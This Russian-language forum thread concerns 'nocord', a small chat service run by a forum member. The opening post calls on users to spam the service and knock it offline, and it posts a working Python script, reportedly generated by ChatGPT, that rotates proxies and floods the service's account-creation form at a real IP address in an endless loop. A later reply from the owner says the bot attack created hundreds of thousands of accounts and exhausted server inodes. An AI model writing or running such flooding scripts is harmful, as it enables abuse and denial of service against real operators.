LINUXTALKS.CO

Nocord - главный тред

 

L


0

1

В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

Ответ на: комментарий от MrSugoma

сугомик, разбань все айпишники и страны, я со своего хоста тоже какой-нибудь прикол прокину на твой кокорд, ну или можешь не разбанивать и сам там сиди тогда

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от Anoxemian

Слушай, но это же хуйня какая-то (или нет?)
В пых-пыхе вообще теоретически можно передавать данные на другой пых-пых скрипт (который на другом сайте)?

Типо накидать html интерфейс и как-то его подкрутить к кокорду, чтобы если на условно моем сайте кто-то напишет сообщение, то оно фактически отправлялось и сохранялось на кокорде?

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Можно, конечно. У меня-то идея no-code. nocord.pro/api это просто реверс прокси на nocord. Хотел закинуть на github, чтобы кто хочет, что хочешь деплоить мог. Ну, типа, микролиба на js и мутишь плотнейший угар. Но для этого надо чтобы автор на https перешел.

Anoxemian    
★★★
Anonymous / Unknown (EE)
Ответ на: комментарий от shikata_ga_nai

Нет, конечно. Можно запилить прямо мощный сервис, хоть видосяны стримить. Лишь бы sd карточка не сдохла.

Ты глянь код. Там api из 4-х точек с понятными опциями. Так что хоть на сях можно упражняться.

Anoxemian    
★★★
Anonymous / Unknown (EE)
Ответ на: комментарий от MrSugoma

Вобщем я придумал. Постить мемасы в паблике неплохо, но скучно. Вот реальный юз-кейс, суть такова: сервис по передаче друг другу приватной полезной нагрузки - картинки/документы/whatever. Ну, типа, как атачменты в почте. Загрузил что надо передать - кинул приватную ссылку и готово. Версии две - одна полностью client side, т.е. unmanaged и версия про, придется отдельно индекс хранить и e2ee добавить.

Тебе задачи: добавить удаление из лички сообщений, увеличить уникальность (на 10 коллизий дохуя будет), перейти на https, разбанить всех, иначе кому куда что оиправлять, если не грузится. Бегом побежал выполнять, пыль запартная. Ах, да. create.php у тебя дважды код выдает - выпрямляй руки и исправляй.

Anoxemian    
★★★
Anonymous / Unknown (EE)
Ответ на: комментарий от Anoxemian

Nocord сейчас всем выдает 403 из-за масштабной атаки ЛТшных ботов, которые создавали сотни тысяч юзеров, из-за чего у меня закончились inode’ы. Если я снова разрешу доступ в Nocord всем желающим, то уже за пару секунд мне сотку юзеров создадут. Решением проблемы, кроме, конечно же, вайтлиста IP-адресов, является каптча. Пожалуйста, дайте мне бесплатный российский сервис каптчи, желательно, чтобы каптча была не словесной, а картиночной (со светофорами).

MrSugoma    
★★
Android / Firefox (US)
Ответ на: комментарий от Anoxemian

Я помню очень давно чувак запилил имиджборду, которая хранила свою базу данных в картинках, которые заливались на двач в специальные треды. https://github.com/username1565/nanoboard Вроде оно, но оно виндовое и я запустить не смогу. Я думаю, что следующий шаг, это создание аналога ЛТ с базой данных в кокорде, кек

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)